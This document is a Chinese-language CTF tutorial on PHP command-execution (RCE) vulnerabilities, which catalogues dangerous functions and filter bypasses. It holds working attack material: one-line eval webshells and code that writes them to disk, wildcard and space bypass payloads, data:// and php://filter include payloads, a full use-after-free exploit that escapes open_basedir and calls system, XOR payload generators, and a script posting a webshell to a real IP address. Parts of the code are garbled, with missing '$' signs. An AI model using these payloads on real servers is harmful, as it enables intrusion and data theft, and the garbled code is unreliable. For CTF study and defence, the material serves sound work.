PHP命令执行漏洞:函数利用与绕过技巧
本文详细解析了PHP中常见的命令执行漏洞利用函数,包括代码执行、文件包含和系统命令执行函数。同时,介绍了多种命令连接符和通配符的绕过技巧,帮助读者深入理解RCE攻击原理与防御。
- 网络安全
- Web安全
命令执行
2.1 rce中常用的php代码执行函数
eval() , assert() , preg_replace() , create_function() , array_map() , call_user_func()/call_user_func_array() , array_filter() , usort()/uasort() ,file_put_contents()
eval()
执行一个字符串表达式,该字符串必须是合法的 PHP 代码,且必须以 分号 结尾
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:
<?php
eval($_POST[cmd])
?>
利用方式:
<?php
$a = 199;
eval("echo\$a;");
输出:199
例:
<?php
$str = "array('a'=>'123','b'=>'456')";
eval("\arr = ".str.";");
var_dump($arr);
输出:array(2) { ["a"]=> string(3) "123" ["b"]=> string(3) "456" }
<?php
a = _GET['a'];
eval($a);
//a = eval($_GET['1']);&1=phpinfo();
?>
另一种情况:
<?php
eval($_POST['a']);
?>
//如果想在a中再放一个可以任意控制的参数绕过正则检测
不能直接令a=$_POST[1]
尝试:
a = system($_POST[1]); //1可以执行一些系统命令
例子
<?php
$string = "beautiful";
$time = "winter";
str = 'This is a string $time morning!';
echo $str. "<br />";
eval("\str = \"str\";");
echo $str; ?>
输出:This is a string time morning! This is a beautiful winter morning!
assert()
assert 函数 是直接将传入的参数当成 PHP代码 直接,不需要以分号结尾,当然你加上也可以
Php5:
assert(mixed assertion, string description = ?): bool
Php7:
assert(mixed assertion, Throwable exception = ?): bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
preg_replace()
preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null
搜索 subject 中匹配 pattern 的部分,以 $replacement 进行替换。
preg_replace() 函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的 /e修饰符,使 preg_replace 将 replacement 参数当作 PHP 代码
利用方式:
<?php
//?cmd=phpinfo();
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); //cmd=system("ls");
?>
create_function()
通过传递的参数创建一个匿名函数,并且返回函数的一个名字
create_function(string args, string code): string
第一个参数是函数接受的参数,第二个参数是函数的执行体
利用方式:
newfunc = create_function('', '_REQUEST['cmd']');eval($_POST{1})
$newfunc();
array_map()
为数组的每个元素应用回调函数
array_map(callable callback, array array, array ...$arrays): array
array_map():返回数组,是为 array 每个元素应用 callback函数之后的数组。 array_map() 返回一个 array,数组内容为 array1 的元素按索引顺序为参数调用 callback 后的结果(有更多数组时,还会传入 arrays 的元素)。 callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。
利用方式:
<?php
//func = system
func = _GET['func'];
//cmd = ls
cmd=_GET['cmd'];
array[0] = cmd
new_array = array_map(func,$array); //返回执行结果后的新数组
//print_r($new_array);
?>
call_user_func()/call_user_func_array()
call_user_func() ----------把第一个参数作为回调函数调用
call_user_func(callable callback, mixed parameter = ?, mixed $... = ?): mixed
第一个参数是 被调用的回调函数 ,后面的参数是 函数的形参
利用方式:
<?php
cmd=_REQUEST['cmd'];====>_GET['cmd']||_POST['cmd']
//cmd = phpinfo()
call_user_func(assert,$cmd);//assert(phpinfo();)
?>

call_user_func_array() --------调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array(callable callback, array param_arr): mixed
利用方式:
<?php
func = _REQUEST['func'];
cmd = _REQUEST['cmd'];
array['0'] = cmd
result = call_user_func_array(func,$cmd);
//print_r($result);
?>
array_filter()
使用回调函数过滤数组的元素
array_filter(array array, ?callable callback = null, int $mode = 0): array
遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true,则将 array 数组中的当前值返回到结果 array 数组中
利用方式:
<?php
func = _GET['func'];
cmd = _GET['cmd'];
array1=array(cmd);
array_filter(array1,func)
?>
usort()/uasort()
使用用户自定义的比较函数对数组中的值进行排序
usort(array &array, callable callback): bool
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。
利用方式:
php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
参考:https://www.wd0g.com/?p=190
file_put_contents()/fputs()
将一个字符串写入文件
file_put_contents(
string $filename,
mixed $data,
int $flags = 0,
resource $context = ?
): int
利用方式:
<?php
test='<?php eval(_POST[cmd]);?>';
file_put_contents('test.php',$test);
?>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[1]);?>')
?>
动态函数构造:
利用方式:
<?php
#a=assert&b=system('ls')
_GET['a'](_GET['b']);
?>
2.2 rce中常用的包含文件函数
include highlight_file
include
当包含 .php 文件时,可同时运行
利用方式:
include('flag.php');
或者
include 'flag.php';
姿势绕过
include $_GET[1]?>&1=flag.php
highlight_file/show_ource
语法高亮一个文件,即将文件内容全部展示出来
highlight_file(string filename, bool return = false): mixed
这个函数被ban掉的可能性较小,可以尝试高亮 flag 文件
利用方式:
highlight_file 'flag.php'
2.3 常见的系统执行函数
system shell_exec exec popen passthru
system
将 字符串 作为 OS命令 去执行,并且 自带输出功能
system(string command, int &return_var = ?): string
利用方式:
<?php
//a = system('ls')
a = _REQUEST[a];
eval($a);
?>
shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。只返回字符串,不会进行输出.该函数和 反引号 “ 的执行效果一致
shell_exec(string $cmd): string
利用方式:
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>"; //需要输出显示结果
//print($output);
?>
exec
将 字符串 作为 OS命令 去执行,但是自身 不带输出功能,需要 写入 输出功能的代码
执行一个外部程序
exec(string command, array &output = ?, int &$return_var = ?): string
本函数执行输入 command 的外部程序或外部指令。它的返回字符串只是外部程序执行后返回的最后一行;若需要完整的返回字符串,可以使用 PassThru() 这个函数。
利用方式:
<?php
echo exec("whoami");
?>
注意:该函数能够执行系统命令,但是返回结果是有限度的(即返回不全)
# 例如:exec('ping 127.0.0.1'); 可执行,显示不出来
# print(exec('ping 127.0.0.1')); 可显示出来但,显示不完全
popen
打开进程文件指针,打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
popen(string `$command`, string `$mode`): resource
利用方式:
<?php
$handle = popen("/bin/ls", "r");
?>
passthru
执行外部程序并且 自带输出功能
passthru(string `$command`, int `&$return_var` = ?): void
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
利用方式:
<?php
passthru ('echo $PATH');
?>
2.4 其他命令执行函数
PHP:exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
2.5 积累
php 中不需要括号的函数
echo 111;
print 123;
die;
include " "
require " "
include_once " "
require_once " "
小知识库:
系统命令:
1. 里可以用? 匹配字符
2. 可以用;间隔两条命令
3. $? //上一次命令执行成功为0,不成功为1
4. env 查看本地变量
5. ``和$()可以代替shell_exec执行系统命令 //web396
6. nl * 打开目录下所有文件
PHP:
1. <?= ?>===<?php ?>

2.7 常见的绕过姿势:
常用符号
- 命令连接符
Windows和Linux都支持的命令连接符:
cmd1 | cmd2 只执行cmd2
cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2 先执行cmd1,只有cmd1执行成功后才执行cmd2,否则不执行cmd2
Linux特有:分号
cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2
- 通配符
? #单个字符
* #零个、单个或多个字符
例子:遇到system($_GET[‘c’]);,则c可以传参
/???/?s --help
#可代表/bin/ls --help
/???/????64 f???.???
#可代表/bin/base64 flag.php:base64编码flag.php的内容。
/???/?[a][t] ?''?''?''?''
#可代表/usr/bin/bzip2 flag.php:将flag.php文件进行压缩,然后再将其下载。
/???/?at ????
/???/?[a]''[t] ?''?''?''?''
#可代表/bin/cat: test:
cat 绕过
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
(13)sed:一种编辑器,这个也可以查看
(14)grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file
(15)strings
空格绕过
1. ${IFS}替换
2. 替换
3. ${IFS替换
{IFS}9
4. %20替换
5. < 和 <> 重定向符替换
6. %09替换(需要php环境)
7. %0a %0b %0c %0d
敏感字符绕过
- 变量绕过 ;
1. a=c;b=at;c=fl;d=ag;ab cd
2. 题目:ctfshow-web31
* a = eval($_GET[1]);&1=.....
- base64 绕过
echo 1234 | base64
MTIzNAo=
echo 'MTIzNAo=' | base64 -d
1234
/bin/base64 1.txt
MTIzCg==
- 单双引号
c""at fl''ag
- 反斜线
c\at fl\ag
- 连接符
cat /etc/pass'w'd
php include + 伪协议 绕过
1. ?c=include $_GET["a"] ?>&a=php://filter/read=convert.base64-encode/resource=flag.php
2. ?c=include $_POST[1] ?>&1=php://filter/read=convert.base64-encode/resource=flag.php
1. ?c=data://text/plain,<?php echo system('cat fl*');?>
2. ?c=data://text/plain,<?php%20system('tac fl*');?>
3. ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
其中PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==的解码为<?php echo system('cat fl*');?>
具体伪协议在文件包含中讲解
相关题目: cftshow web32-36
扫描目录
- print_r扫描目录
c=print_r(scandir('.'));#查看当前目录
c=print_r(scandir('/'));#查看根目录
c=print_r(glob('*'));#查看当前目录
c=print_r(glob('/*'));#查看根目录
- var_dump扫描目录
c=var_dump(scandir('.'));#查看当前目录
c=var_dump(scandir('/'));#查看根目录
c=var_dump(glob('*'));#查看当前目录
c=var_dump(glob('/*'));#查看根目录
- var_export扫描目录
c=var_export(scandir('.'));#查看当前目录
c=var_export(scandir('/'));#查看根目录
c=var_export(glob('*'));#查看当前目录
c=var_exportdump(glob('/*'));#查看根目录
- glob目录遍历
c=
$a=new DirectoryIterator("glob:///*");
foreach(a as f){
echo $f." " ;
}
exit();
或者
$a = "glob:///*.txt";
if(b=opendir(a)){
while((file=readdir(b))!==false){
echo "filename:".$b."\n";
}
close($b);
}
无参 RCE 构造
chr():根据ascii码值将数字转换成字符串
get_defined_vars() 获取题目相关变量
print_r() 函数用于打印变量,以更容易理解的形式展示
localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。这里也可以换成current(),作用和pos类似
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
current(): 返回数组当前值
reset(): 设置当前数组指针指向第一个单元
crypt(): 单项字符串散列,相当于将字符串转换为hash等的复杂字符串
floor(): 舍去法取整
ceil(): 进一法取整
sinh/cosh(): 双曲正弦/余弦
scandir(string $directory): array: 列出指定路径中的文件和目录,返回一个 array,包含有 directory 中的文件和目录。
getcwd(): 获取当前工作目录
. 的构造
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
chr(ord(hebrevc(crypt(time())))) #小概率
chr(ord(strrev(crypt(serialize(array()))))
查当前目录
payload:?c=print_r(scandir(current(localeconv())));
或者是
?c=print_r(scandir(pos(localeconv()))); #pos是current的别名,localeconv()返回的数组中第一个值为'.'
?c=print_r(scandir(reset(localeconv())));
?c=print_r(scandir(char(46));
?c=print_r(scandir(char(time())); #不实际
?c=print_r(scandir(char(rand())); #不实际
?c=print_r(scandir(char(current(localtime(time()))));
#chr()函数以256为一个周期,则chr(46),chr(302).chr(558)均为 .
#char(current(localtime(time())))数组第一个值是秒数,则每60秒均会有一个46
print_r(scandir(chr(ord(hebrevc(crypt(time())))))); #小概率
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //存在概率问题
print_r(scandir(getcwd()));
查倒数第二个文件
?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));#读取数组倒数第二个元素
?c=show_source(next(arrray_reverse(scandir(getcwd()))));
读最后一个文件
?c=show_source(current(array_reverse(scandir(getcwd()))));#flag在最后一个文件
不确定文件位置
?c=show_source(array_rand(array_flip(scandir(getcwd()))));
array_flip - 交换数组中的键和值
array_rand — 从数组中随机取出一个或多个随机键,有两个参数默认为1
?c=show_source(array_rand(array_flip(scandir(current(localeconv())))));
#array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组
#getchwd() 函数返回当前工作目录。
目标文件不在当前目录中
相关题目:
ctfshow web40

系统命令构造数字:
{_} = ""
$(())=0
((~(())))=-1
36

服务器变量构造查询语句
- 常见的系统变量:
PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=7.3.22
SHLVL=2
[PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[HOSTNAME] => glot-runner
[PHPIZE_DEPS] => autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
[PHP_INI_DIR] => /usr/local/etc/php
[PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2
[PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2
[PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie
[GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
[PHP_VERSION] => 7.2.1
[PHP_URL] => https://secure.php.net/get/php-7.2.1.tar.xz/from/this/mirror
[PHP_ASC_URL] => https://secure.php.net/get/php-7.2.1.tar.xz.asc/from/this/mirror
[PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d8e6efd8822
[PHP_MD5] =>
[HOME] => /home/glot
[PHP_SELF] => /tmp/543750210/main.php
[SCRIPT_NAME] => /tmp/543750210/main.php
[SCRIPT_FILENAME] => /tmp/543750210/main.php
[PATH_TRANSLATED] => /tmp/543750210/main.php
[DOCUMENT_ROOT] =>
[REQUEST_TIME_FLOAT] => 1524198667.12
[REQUEST_TIME] => 1524198667
[argv] => Array
(
[0] => /tmp/543750210/main.php
)
[argc] => 1
)
相关题目:web119
构建tac
tac====>{PHP_CFLAGS:{PHP_VERSION:{PHP_VERSION:~A}:~{SHLVL}}:{PHP_VERSION:{PHP_VERSION:~A}:~${SHLVL}}}
首先获取到3以便于得到PHP_CFLAGS中的tac:
从PHP_VERSION中截取 ${PHP_VERSION:2:1} //切片操作
这里的2:
- 可以用
${PHP_VERSION:~A}得到字符串的最后一位
这里的1:
- 可以用
${~SHLVL}得到,因为按位取反10取反得到01所以~2=1;
因此: 3=${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}
最终的tac命令:
${PHP_CFLAGS:3:3}//切片操作,也就是上面3的语句直接复制一遍
也就是:
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:${~SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} //得到tac指令
构建base64:
PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=7.3.22
SHLVL=2
???? //代表base
{#PHP_VERSION}{PHP_CFLAGS:~A} //代表64
题目需要base64命令的绝对路径:
{PWD::{#SHLVL}} //代表'/'
${#SHLVL} //#用来求变量值的长度
初次完整的命令:
{PWD::{#SHLVL}}???{PWD::{#SHLVL}}????{#PHP_VERSION}{PHP_CFLAGS:~A} ????.??? //长度超过限制需要缩减
随机数:
${RANDOM} //随机代表一个数
${#RANDOM} //代表这个随机数的长度
由于64代表的字符串过长,将6代表的字符串去掉(用?代替)将4代表的字符串用随机数的长度字符串代替
最终的语句:
{PWD::{#SHLVL}}???{PWD::{#SHLVL}}?????{#RANDOM} ????.??? //带有随机性,只要{RANDOM}是一个四位数就可以,多试几次
以数字和不敏感函数构造敏感函数
base_convert(1231231131,10,36) ===>hex2bin
hex2bin(dechex(1598506324))=======>_GET
hex2bin(dechex(1598506324))=======>_GET
相关题目:
ctfshow-web124
open_basedir()绕过
- 传脚本绕过:
<?php
function ctfshow($cmd) {
global abc, helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public a, b, c, d;
}
function str2ptr(&str, p = 0, $s = 8) {
$address = 0;
for(j = s-1; j >= 0; j--) {
$address <<= 8;
address |= ord(str[p+j]);
}
return $address;
}
function ptr2str(ptr, m = 8) {
$out = "";
for (i=0; i < m; i++) {
out .= sprintf("%c",(ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&str, p, v, n = 8) {
$i = 0;
for(i = 0; i < n; i++) {
str[p + i] = sprintf("%c",(v & 0xff));
$v >>= 8;
}
}
function leak(addr, p = 0, $s = 8) {
global abc, helper;
write(abc, 0x68, addr + $p - 0x10);
leak = strlen(helper->a);
if(s != 8) { leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
e_type = leak(base, 0x10, 2);
e_phoff = leak(base, 0x20);
e_phentsize = leak(base, 0x36, 2);
e_phnum = leak(base, 0x38, 2);
for(i = 0; i < e_phnum; i++) {
header = base + e_phoff + i * $e_phentsize;
p_type = leak(header, 0, 4);
p_flags = leak(header, 4, 4);
p_vaddr = leak(header, 0x10);
p_memsz = leak(header, 0x28);
if(p_type == 1 && p_flags == 6) {
data_addr = e_type == 2 ? p_vaddr : base + $p_vaddr;
data_size = p_memsz;
} else if(p_type == 1 && p_flags == 5) {
text_size = p_memsz;
}
}
if(!data_addr || !text_size || !$data_size)
return false;
return [data_addr, text_size, $data_size];
}
function get_basic_funcs(base, elf) {
list(data_addr, text_size, data_size) = elf;
for(i = 0; i < data_size / 8; i++) {
leak = leak(data_addr, $i * 8);
if(leak - base > 0 && leak - base < data_addr - base) {
deref = leak(leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
leak = leak(data_addr, ($i + 4) * 8);
if(leak - base > 0 && leak - base < data_addr - base) {
deref = leak(leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return data_addr + i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
start = binary_leak & 0xfffffffffffff000;
for(i = 0; i < 0x1000; $i++) {
addr = start - 0x1000 * $i;
leak = leak(addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
addr = basic_funcs;
do {
f_entry = leak(addr);
f_name = leak(f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
vuln->a = arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for(i = 0; i < n_alloc; i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
abc = backtrace[1]['args'][0];
$helper = new Helper;
helper->b = function (x) { };
if(strlen(abc) == 79 || strlen(abc) == 0) {
die("UAF failed");
}
closure_handlers = str2ptr(abc, 0);
php_heap = str2ptr(abc, 0x58);
abc_addr = php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write(abc, 0x10, abc_addr + 0x60);
write($abc, 0x18, 0xa);
closure_obj = str2ptr(abc, 0x20);
binary_leak = leak(closure_handlers, 8);
if(!(base = get_binary_base(binary_leak))) {
die("Couldn't determine binary base address");
}
if(!(elf = parse_elf(base))) {
die("Couldn't parse ELF header");
}
if(!(basic_funcs = get_basic_funcs(base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!(zif_system = get_system(basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for(i = 0; i < 0x110; $i += 8) {
write(abc, fake_obj_offset + i, leak(closure_obj, $i));
}
write(abc, 0x20, abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write(abc, 0xd0 + 0x68, zif_system);
(helper->b)(cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
直接把脚本当作参数传入,最后一行是执行的命令
相关题目:
ctfshow-web72
- ini_set(‘open_basedir’,’/’);
- 系统命令不受open_basedir的限制
<?php
ini_set('open_basedir','/var/www/html');
$a = eval(system('tac /flag.txt')); //仍然可以执行
?>
- 一些其他伪协议不受
open_basedir的限制==>文件包含讲解
无数字字符绕过
构造POST数据包
通过构造数据包,向目标服务器发送文件,文件已被保存到tmp目录下再根据保存的文件名的特性(最后一个字母为大写),筛选文件,利用 . 执行

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
注意:
tmp目录下文件比较多,我们所上传的文件最后一个字母是大写,因此利用ascii字母的大写匹配,过滤掉其他文件[@-[]

无数字字母绕过正则
通过汉字或者一些不可见字符,进行异或,求与,取反等操作构建字母从而构建命令,最后显示的结果是经过url编码的
脚本的说明:
- 生成字符表脚本
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w"); //以写的方式打开txt文件
$contents="";
for (i=0; i < 256; $i++) { //ascii码只占一个字节,所以设置最大数256
//两个for循环总共256*256中可能的情况
for (j=0; j <256 ; $j++) { //通过i,j来构造字母
if($i<16){ //ascii的前16个字符的十六进制应该是01,02,。。。。下面为了格式化数字加上了0
hex_i='0'.dechex(i); //dechex(十进制转换成十六进制)
}
else{
hex_i=dechex(i); ///将所有的数字转换成十六进制
}
if($j<16){
hex_j='0'.dechex(j);
}
else{
hex_j=dechex(j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match(preg , hex2bin(hex_i))||preg_match(preg , hex2bin(hex_j))){//过滤掉被匹配的字符
echo "";
}
else{
a='%'.hex_i;
b='%'.hex_j;
c=(urldecode(a)^urldecode($b));
if (ord(c)>=32&ord(c)<=126) { //32到126是ascii码的所有可显示字符
contents=contents.c." ".a." ".$b."\n";
}
}
}
}
fwrite(myfile,contents); ///将我们得到的所有字符写入之前打开的文件
fclose($myfile);//关闭文件
- 利用字符表生成我们需要的命令
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg): //定义action函数
s1="" //用于异或的第一个字符串
s2="" //用于异或的第二个字符串
for i in arg: //i表示arg的一个字符
f=open("xor_rce.txt","r") //打开php脚本生成的xor_rce.txt
while True:
t=f.readline() //一行一行读取文件
if t=="": //读取完毕就结束
break
if t[0]==i: //t[0]也就是文件中的第一列,32-126个可显示的ascii码字符
#print(i)
s1+=t[2:5] //截取i所在行第3列到第5列表示第一个字符串
s2+=t[6:9] ///截取i所在行第7列到第9列表示第二个字符串
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")" ///对两个字符串进行异或
return(output)
while True:
//我们输入的函数和命令被作为arg
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
![]()

FFI扩展(PHP>7.4.0)
这一扩展可以让PHP语言中使用C语言中的函数和库
常见调用方式:
- FFI::def
创建FFI对象,一个字符串,包含常规C语言中的一系列声明(类型、结构、函数、变量等)。实际上,这个字符串可能是从C头文件复制粘贴的。
$ffi=FFI::cdef("int system(const char *command);");
$a = '/readflag > /var/www/html/1.txt';
ffi->system(a);exit();
这段代码首先创建了一个新的 FFI 对象调用 Linux 库的 int system(const char* command);函数,作用是把 command 指定的命令名称或程序名称传给要被命令处理器执行的主机环境,并在命令完成后返回。

- FFi::load
加载C文件
phppublic static **FFI::load**(string $filename`): ?FFI
- FFi::scope
使用预加载期间解析的C声明实例化FFI对象
public static FFI::scope(string $name): FFI
- FFi::new
创建一个C语言数据结构
public static FFI::new(FFI\CType|string $type, bool $owned = true, bool $persistent = false): ?FFI\CData
- FFi::cast
执行C类型转换
public static FFI::cast(FFI\CType|string $type, FFI\CData|int|float|bool|null &$ptr): ?FFI\CData
- FFi::memcmp
比较内存区域的大小字节
public static FFI::memcmp(string|FFI\CData &$ptr1, string|FFI\CData &$ptr2, int $size): int
- FFI::memcpy
复制一个内存区域到另一个内存区域
public static FFI::memcpy(FFI\CData &$to, FFI\CData|string &$from, int $size): void
特定函数绕过
pase_url解析
接受一个url并将其解析,如图

call_user_func
-
调用类里面的静态函数

-
不区分大小写
preg_match绕过
- 不会匹配换行符
<?php
preg_match('/^*.(flag).*/',cmd){
echo hacker;
}
//令$cmd=\nflag
?>
在非多行模式下,$会忽略掉句尾的%0a
<?php
preg_match('/^flag/',_GET['a']&&$_GET['a']!==flag){
echo $flag;
}
//a=flag%0a
?>
if(_GET['b_u_p_t'] !== '23333' && preg_match('/^23333/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
//getIp();?b.u.p.t=23333%0a
还有一些特殊绕过
<?php
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\|||{|}|\(|\)|-|<|>/i", cmd)) {
echo("forbid ~");
echo "<br>";
}
$cmd=ca\t%20/flag //可以绕过对cat的正则
$cmd=l\s%20/ //可以绕过对ls的正则
?>
正则匹配中的某些字符对于被匹配字符串出现可匹配也可不匹配的情况,那么先不匹配,让下一个正则表达式的字符去匹配,如果无法匹配则让该字符匹配字符串称为一次回溯,但正则匹配有回溯次数的限制,一般利用脚本提交10000个字符差不多可以超过回溯次数绕过正则
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
-
数组绕过
preg_match 只匹配字符串不匹配数组 ,传入数组时返回 false
相关题目:
[安洵杯 2019]easy_web
无字母数字的webshell
- filter_var
使用特定的过滤器过滤一个变量
FILTER_VALIDATE_URL:(web406)
http/https协议不支持后面带有符号,所以我们绕过这个函数的时候一般选择任何其他协议不选择http,其他协议支持符号,我们便可以构造自己的 sql 语句等
?url=0://www.baidu.com;'union/**/select/**/1,0x33C3F70687020726571756972652027636F6E6669672E706870273B2473716C3D2773656C65637420666C61672066726F6D20666C616720696E746F206F757466696C6520222F7661722F7777772F68746D6C2F31302E74787422273B24726573756C74203D2024636F6E6E2D3E7175657279282473716C293B7661725F64756D702824726573756C74293B3F3E/**/into/**/outfile/**/"/var/www/html/1.php"/**/%23;
- 注意: 这里有了
;前边不能是http和https协议,可以是其他协议,url并不只有http,
相关题目:ctfshow web406-408
FILTER_VALIDATE_EMAIL(web408)
检查变量是否属于 EMAIL 格式
绕过: 非法字符放在""可以绕过检测

FILTER_VALIDATE_BOOLEAN
把值作为布尔选项来验证。如果是 “1”、“true”、“on” 和 “yes”,则返回 TRUE。如果是 “0”、“false”、“off”、“no” 和 "",则返回 FALSE。否则返回 NULL。
- 过滤了1和true可以用on和yes绕过
语法绕过
- 提前闭合源文件
?> 提前闭合源文件的 <?php ,之后再新创 <?php?>

留言讨论
0 条留言
正在加载留言...